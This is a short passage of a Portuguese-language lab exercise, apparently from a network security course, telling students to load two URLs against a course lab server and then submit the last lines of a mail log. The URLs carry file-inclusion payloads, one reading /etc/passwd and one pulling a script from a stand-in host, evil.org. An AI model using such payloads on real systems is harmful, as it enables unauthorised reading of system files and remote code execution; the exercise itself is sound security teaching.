18. Digite a seguinte URL na barra de endereços e clique no botão verde:

```
http://filei.esr.rnp.br/select2.php?country=%2Fetc%2Fpasswd&Submit1=Prosseguir
```

19. Repita o Passo 18, mas fornecendo a seguinte URL:

```
http://filei.esr.rnp.br/select2.php?country=http%3A%2F%2Fwww.evil.org%2Fevil.php&Submit1=Prosseguir
```

20. Encerre o Firefox.

ENTREGA DA TAREFA

Para que seja considerada entregue você deve anexar a esta atividade no AVA as 10 últimas linhas do arquivo `/var/log/maillog`

Obs.: O arquivo resultado pode estar em formato de imagem ou texto

Última atualização 2020-09-02 16:43:00 -0300